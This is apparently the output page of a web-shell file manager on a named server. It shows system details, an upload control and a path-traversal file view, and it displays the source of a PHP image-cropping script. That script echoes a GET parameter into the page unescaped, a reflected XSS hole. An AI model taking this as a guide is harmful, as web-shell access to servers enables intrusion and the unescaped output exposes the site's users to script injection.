( ′∀`)σ≡σ☆))Д′)レ(゚∀゚;)ヘ=З=З=Зε≡(ノ´_ゝ`)ノ HEX
HEX
Server: Apache/2.4.58 (Ubuntu)
System: Linux mail.thebrand.ai 6.8.0-107-generic #107-Ubuntu SMP PREEMPT_DYNAMIC Fri Mar 13 19:51:50 UTC 2026 x86_64
User: www-data (33)
PHP: 8.3.6
Disabled: NONE
Upload Files
File: /var/www/html/tmpr/..//tmpr/..//tmpr/../tmpr/../cropme2.php
<?php

$VideoPath = "uploads/live/";
$live_img = 'uploads/images/';	


 
 $msg_id = $db->base64url_decode($msg_id);
 
$result = $db->getnewsbyidr2($msg_id);
$catalogid = $result[0]["catalogid"];
$yanani= $result[0]["yanani"];
 $original= $result[0]["original"];
$title = $result[0]["title"];
$content = $result[0]["content"];
$viewnum = $result[0]["viewnum"];
$rating = $result[0]["rating"];
$picture = $result[0]["picture"];
$ratenum = $result[0]["ratenum"];
$episodeid = $result[0]["episodeid"];
$slug = $result[0]["slug"];
$keywords = $result[0]["keywords"];
$isdisplay = $result[0]["isdisplay"];
$description = $result[0]["description"];
$vcat = $result[0]["vcat"];
$summary = $result[0]["summary"];
$video = $result[0]["video"];
$thumb= $result[0]["thumb"];
$post_id=  $_GET["msg_id3"];



/*START PROCESS*/
define('MEMORY_TO_ALLOCATE',	'100M');
define('DEFAULT_QUALITY',		100);
define('CURRENT_DIR',			dirname(__FILE__));
define('CACHE_DIR_NAME',		'/v/uploads/raw/');
define('CACHE_DIR',				CURRENT_DIR . CACHE_DIR_NAME);
define('DOCUMENT_ROOT',			$_SERVER['DOCUMENT_ROOT']); 
$width1=1000;
/*$height1=100;*/
/*$cropratio="1.666666666666667:1";*/
$photo="/v/uploads/raw/$original";
 $resizedPhoto="v/uploads/raw/$original";
 function findSharp($orig, $final) // function from Ryan Rud (http://adryrun.com)
{
	$final	= $final * (750.0 / $orig);
	$a		= 52;
	$b		= -0.27810650887573124;
	$c		= .00047337278106508946;
	
	$result = $a + $b * $final + $c * $final * $final;
	
	return max(round($result), 0);
} // findSharp()

function doConditionalGet($etag, $lastModified)
{
	
		
	$if_none_match = isset($_SERVER['HTTP_IF_NONE_MATCH']) ?
		stripslashes($_SERVER['HTTP_IF_NONE_MATCH']) : 
		false;
	
	$if_modified_since = isset($_SERVER['HTTP_IF_MODIFIED_SINCE']) ?
		stripslashes($_SERVER['HTTP_IF_MODIFIED_SINCE']) :
		false;
	
	if (!$if_modified_since && !$if_none_match)
		return;
	
	if ($if_none_match && $if_none_match != $etag && $if_none_match != '"' . $etag . '"')
		return; // etag is there but doesn't match
	
	if ($if_modified_since && $if_modified_since != $lastModified)
		return; // if-modified-since is there but doesn't match
	
	 
	exit();
} // doConditionalGet()


if (!isset($photo))
{
	 
	 
	  header("Location: ./indexAlone.php?mode=photos&msg=no image was specified");
	
	exit();
}


// Images must be local files, so for convenience we strip the domain if it's there
$image			= preg_replace('/^(s?f|ht)tps?:\/\/[^\/]+/i', '', $folder.(string) $photo);

// For security, directories cannot contain ':', images cannot contain '..' or '<', and
// images must start with '/'
if ($image{0} != '/' || strpos(dirname($image), ':') || preg_match('/(\.\.|<|>)/', $image))
{
	 header("Location: ./indexAlone.php?mode=photos&msg=malformed image path. Image paths must begin with");
	 
	exit();
}

// If the image doesn't exist, or we haven't been told what it is, there's nothing
// that we can do
if (!$image)
{
  
	
	 header("Location: ./indexAlone.php?mode=photos&msg=no image was specified");
	exit();
}

// Strip the possible trailing slash off the document root
$docRoot	= preg_replace('/\/$/', '', DOCUMENT_ROOT);

if (!file_exists($docRoot . $image))
{
  header("Location: ./indexAlone.php?mode=photos&msg=image does not exist");
	 
	exit();
 
	
 
	
	
	
	
	
}

// Get the size and MIME type of the requested image
$size	= GetImageSize($docRoot . $image);
$mime	= $size['mime'];

// Make sure that the requested file is actually an image
if (substr($mime, 0, 6) != 'image/')
{
 
	 header("Location: ./indexAlone.php?mode=photos&msg=requested file is not an accepted type");
	 
	  
	exit();
}

$width			= $size[0];
$height			= $size[1];

$maxWidth		= (isset($width1)) ? (int) $width1 : 0;
$maxHeight		= (isset($height1)) ? (int) $height1 : 0;

if (isset($_GET['color']))
	$color		= preg_replace('/[^0-9a-fA-F]/', '', (string) $_GET['color']);
else
	$color		= FALSE;

// If either a max width or max height are not specified, we default to something
// large so the unspecified dimension isn't a constraint on our resized image.
// If neither are specified but the color is, we aren't going to be resizing at
// all, just coloring.
if (!$maxWidth && $maxHeight)
{
	$maxWidth	= 840;
}
elseif ($maxWidth && !$maxHeight)
{
	$maxHeight	= 2000;
}
elseif ($color && !$maxWidth && !$maxHeight)
{
	$maxWidth	= $width;
	$maxHeight	= $height;
}

// If we don't have a max width or max height, OR the image is smaller than both
// we do not want to resize it, so we simply output the original image and exit
		if ((!$maxWidth && !$maxHeight) || (!$color && $maxWidth >= $width && $maxHeight >= $height))
		{
			$data	= file_get_contents($docRoot . '/' . $image);
			
			$lastModifiedString	= gmdate('D, d M Y H:i:s', filemtime($docRoot . '/' . $image)) . ' GMT';
			$etag				= $data;
			
			doConditionalGet($etag, $lastModifiedString);
		
		
		 
			
		}
		
		else
		
		{
			
			
			
			
			
			
// Ratio cropping
$offsetX	= 0;
$offsetY	= 0;

if (isset($_GET['cropratio']))
{
	$cropRatio		= explode(':', (string) $_GET['cropratio']);
	if (count($cropRatio) == 2)
	{
		$ratioComputed		= $width / $height;
		$cropRatioComputed	= (float) $cropRatio[0] / (float) $cropRatio[1];
		
		if ($ratioComputed < $cropRatioComputed)
		{ // Image is too tall so we will crop the top and bottom
			$origHeight	= $height;
			$height		= $width / $cropRatioComputed;
			$offsetY	= ($origHeight - $height) / 2;
		}
		else if ($ratioComputed > $cropRatioComputed)
		{ // Image is too wide so we will crop off the left and right sides
			$origWidth	= $width;
			$width		= $height * $cropRatioComputed;
			$offsetX	= ($origWidth - $width) / 2;
		}
	}
}

// Setting up the ratios needed for resizing. We will compare these below to determine how to
// resize the image (based on height or based on width)
$xRatio		= $maxWidth / $width;
$yRatio		= $maxHeight / $height;

if ($xRatio * $height < $maxHeight)
{ // Resize the image based on width
	$tnHeight	= ceil($xRatio * $height);
	$tnWidth	= $maxWidth;
}
else // Resize the image based on height
{
	$tnWidth	= ceil($yRatio * $width);
 	$tnHeight	= $maxHeight;
}

// Determine the quality of the output image
$quality	= (isset($_GET['quality'])) ? (int) $_GET['quality'] : DEFAULT_QUALITY;

// Before we actually do any crazy resizing of the image, we want to make sure that we
// haven't already done this one at these dimensions. To the cache!
// Note, cache must be world-readable

// We store our cached image filenames as a hash of the dimensions and the original filename

 
    $extfile = explode('/',$image);
    $extfile = $extfile[5];
	$extfile = explode('.',$extfile);
    $imageName = $extfile[0];
	 
switch ($size['mime'])
{
	case 'image/gif':
	 $resizedImage	= "$imageName.gif";
	break;
	
	case 'image/x-png':
	case 'image/png':
		$resizedImage	= "$imageName.png";
	break;
	
	default:
		$resizedImage	= "$imageName.jpg";
	break;
}

	
$resized		= CACHE_DIR . $resizedImage;
$nocache		= "yes";

// Check the modified times of the cached file and the original file.
// If the original file is older than the cached file, then we simply serve up the cached file

// We don't want to run out of memory
ini_set('memory_limit', MEMORY_TO_ALLOCATE);

// Set up a blank canvas for our resized image (destination)
$dst	= imagecreatetruecolor($tnWidth, $tnHeight);

// Set up the appropriate image handling functions based on the original image's mime type
switch ($size['mime'])
{
	case 'image/gif':
		// We will be converting GIFs to PNGs to avoid transparency issues when resizing GIFs
		// This is maybe not the ideal solution, but IE6 can suck it
		$creationFunction	= 'ImageCreateFromGif';
		$outputFunction		= 'ImagePng';
		$mime				= 'image/png'; // We need to convert GIFs to PNGs
		$doSharpen			= FALSE;
		$quality			= round(10 - ($quality / 10)); // We are converting the GIF to a PNG and PNG needs a compression level of 0 (no compression) through 9
	break;
	
	case 'image/x-png':
	case 'image/png':
		$creationFunction	= 'ImageCreateFromPng';
		$outputFunction		= 'ImagePng';
		$doSharpen			= FALSE;
		$quality			= round(10 - ($quality / 10)); // PNG needs a compression level of 0 (no compression) through 9
	break;
	
	default:
		$creationFunction	= 'ImageCreateFromJpeg';
		$outputFunction	 	= 'ImageJpeg';
		$doSharpen			= FALSE;
	break;
}

// Read in the original image
$src	= $creationFunction($docRoot . $image);

if (in_array($size['mime'], array('image/gif', 'image/png')))
{
	if (!$color)
	{
		// If this is a GIF or a PNG, we need to set up transparency
		imagealphablending($dst, false);
		imagesavealpha($dst, true);
	}
	else
	{
		// Fill the background with the specified color for matting purposes
		if ($color[0] == '#')
			$color = substr($color, 1);
		
		$background	= FALSE;
		
		if (strlen($color) == 6)
			$background	= imagecolorallocate($dst, hexdec($color[0].$color[1]), hexdec($color[2].$color[3]), hexdec($color[4].$color[5]));
		else if (strlen($color) == 3)
			$background	= imagecolorallocate($dst, hexdec($color[0].$color[0]), hexdec($color[1].$color[1]), hexdec($color[2].$color[2]));
		if ($background)
			imagefill($dst, 0, 0, $background);
	}
}

// Resample the original image into the resized canvas we set up earlier
imagecopyresampled($dst, $src, 0, 0, $offsetX, $offsetY, $tnWidth, $tnHeight, $width, $height);

if ($doSharpen)
{
	// Sharpen the image based on two things:
	//	(1) the difference between the original size and the final size
	//	(2) the final size
	$sharpness	= findSharp($width, $tnWidth);
	
	$sharpenMatrix	= array(
		array(-1, -2, -1),
		array(-2, $sharpness + 12, -2),
		array(-1, -2, -1)
	);
	$divisor		= $sharpness;
	$offset			= 0;
	imageconvolution($dst, $sharpenMatrix, $divisor, $offset);
}

// Make sure the cache exists. If it doesn't, then create it
if (!file_exists(CACHE_DIR))
	mkdir(CACHE_DIR, 0755);

// Make sure we can read and write the cache directory
if (!is_readable(CACHE_DIR))
{
 
	 
	 header("Location: ./indexAlone.php?mode=photos&msg=the cache directory is not readable");
	exit();
}
else if (!is_writable(CACHE_DIR))
{
  header("Location: ./indexAlone.php?mode=photos&msg=the cache directory is not writable");
 
	exit();
}

// Write the resized image to the cache
$outputFunction($dst, $resized, $quality);

// Put the data of the resized image into a variable
ob_start();
$outputFunction($dst, null, $quality);
$data	= ob_get_contents();
ob_end_clean();

// Clean up the memory
ImageDestroy($src);
ImageDestroy($dst);

// See if the browser already has the image
$lastModifiedString	= gmdate('D, d M Y H:i:s', filemtime($resized)) . ' GMT';
$etag				= $data;

doConditionalGet($etag, $lastModifiedString);

			
			
			
			
		}


  list($upana, $urefu) = getimagesize($resizedPhoto);
 if ($upana <300)
 {
	 
	  header("Location: ./indexAlone.php?mode=photos&msg=Your photo is too small to edit! ");
	exit();}
/*END  PROCESS IMAGE*/ 
 
   ?>
 
 
                
                
             
                    
    
<script src="js/jquery.min.js"></script>
<script src="js/jquery.Jcrop.js"></script>
<script type="text/javascript">
  jQuery(function($){

    // Create variables (in this scope) to hold the API and image size
    var jcrop_api,
        boundx,
        boundy,

        // Grab some information about the preview pane
        $preview = $('#preview-pane'),
        $pcnt = $('#preview-pane .preview-container'),
        $pimg = $('#preview-pane .preview-container img'),

        xsize = $pcnt.width(),
        ysize = $pcnt.height();
    
    console.log('init',[xsize,ysize]);
	
	
	
	
    $('#cropbox').Jcrop({
      onChange: updatePreview,
      onSelect: updatePreview,
	 
	  
	            <?php         if(!empty($mag))
 {?> minSize: [ 500, 666 ],
         maxSize: [ 1000, 1166 ],
 aspectRatio: 500/666 ,
setSelect: [ 10, 10, 500, 666 ],
 <?php }
 else
 {?>
	minSize: [ 500, 500 ],
         maxSize: [ 1000, 1000 ],
 aspectRatio: 500/500 ,
setSelect: [ 1, 1, 500, 500 ],
 <?php }
  ?>
 
	 onSelect: updateCoords,
	  bgFade:     true,
      bgOpacity: .3
    },function(){
      // Use the API to get the real image size
      var bounds = this.getBounds();
      boundx = bounds[0];
      boundy = bounds[1];
      // Store the API in the jcrop_api variable
      jcrop_api = this;

      // Move the preview into the jcrop container for css positioning
      $preview.appendTo(jcrop_api.ui.holder);
    });


 function checkCoords()
  {
    if (parseInt($('#w').val())) return true;
    alert('Please select a crop region then press submit.');
    return false;
  };

  function updateCoords(c)
  {
    $('#x').val(c.x);
    $('#y').val(c.y);
    $('#w').val(c.w);
    $('#h').val(c.h);
  };
    function updatePreview(c)
    {
      if (parseInt(c.w) > 0)
      {
        var rx = xsize / c.w;
        var ry = ysize / c.h;

        $pimg.css({
          width: Math.round(rx * boundx) + 'px',
          height: Math.round(ry * boundy) + 'px',
          marginLeft: '-' + Math.round(rx * c.x) + 'px',
          marginTop: '-' + Math.round(ry * c.y) + 'px'
        });
      }
    };

  });


</script>                
     <link rel="stylesheet" href="demo_files/main.css" type="text/css" />
 <link rel="stylesheet" href="css/jquery.Jcrop.css" type="text/css" />
<style type="text/css">

/* Apply these styles only when #preview-pane has
   been placed within the Jcrop widget */
.jcrop-holder #preview-pane {
  display: block;
  position: absolute;
  z-index: 2000;
  top: 10px;
  right: -280px;
  padding: 6px;
  border: 1px rgba(0,0,0,.4) solid;
  background-color: white;

  -webkit-border-radius: 6px;
  -moz-border-radius: 6px;
  border-radius: 6px;

  -webkit-box-shadow: 1px 1px 5px 2px rgba(0, 0, 0, 0.2);
  -moz-box-shadow: 1px 1px 5px 2px rgba(0, 0, 0, 0.2);
  box-shadow: 1px 1px 5px 2px rgba(0, 0, 0, 0.2);
}

/* The Javascript code will set the aspect ratio of the crop
   area based on the size of the thumbnail preview,
   specified here */
#preview-pane .preview-container {
  width: 250px;
  height: 170px;
  overflow: hidden;
}

</style>


               
<table id="Table_01" width="100%" height="537" border="0" cellpadding="0" cellspacing="0"   >
	<tr>
		<td valign="top"><table width="100%" border="0">
		  <tr>
      <td width="348" height="54"><h2 style="margin-top:0px" class="post-title" id="status"> Crop Photo</h2> </td>
      <td align="right">  
      
      <?php  $msg_idx = $db->base64url_encode($msg_id); ?>                  
	  
 
<form action="indexAlone.php?mode=photos" method="post" onsubmit="return checkCoords();">
          <?php         if(!empty($mag))
 {?>
<input type="hidden" id="mag" name="mag" value="mag" />
 <?php }
  ?>
<input type="hidden" id="action" name="action" value="<?php echo $_GET["action"]; ?>" />  
  <input type="text" id="x" name="x" />
			<input type="text" id="y" name="y" />
			<input type="text" id="w" name="w" />
			<input type="text" id="h" name="h" />
            <input type="hidden" id="photo" name="photo" value="<?php echo $original ?>" />
            <input type="hidden"  id="msg_id" name="msg_id" value="<?php echo $msg_idx ?>" />
			<input type="submit" name="skip" value="Skip"  class="btn-lg btn-info "  style=" background-color:#333; margin-top:2px;border:0px;width:105px; margin-right:5px" />
            
            <input type="submit" name="crop" value="Crop" class="btn-lg btn-info pull-right  " style=" margin-top:2px;border:0px;width:105px; margin-right:5px" />
		</form></td>
    </tr>
  </table>
  <div id="preview-pane" style="display:none">
    <div class="preview-container">
      <img src="" class="jcrop-preview" alt="Preview" />
    </div>
  </div>

       
  
  
  
  
  <table   border="0" cellpadding="0" cellspacing="0">
<tr>
                            <td align="left">
               
                            
                                 <?php   
                $submitted = $db->getallsubmitted(); 
               while (list($key,$val)=each($submitted)) {
		   $temp = stripslashes($val["msg_id"]);
		   $picture = stripslashes($val["original"]);
		     if ($msg_id ==$temp){?>
             <img src="taswira.php?nocache=1&image=/v/uploads/raw/<?php echo $picture ?>"  style="-moz-border-radius : 3px 3px 3px 3px:-webkit-border-radius : 3px 3px 3px 3px;border-radius : 3px 3px 3px 3px; " id="cropbox" >  <?php   }}
		
				   ?>
                               
        
    
                            </td>
        </tr>
                          
                          
                         
        </table>
</td>
                    </tr>
                  </table>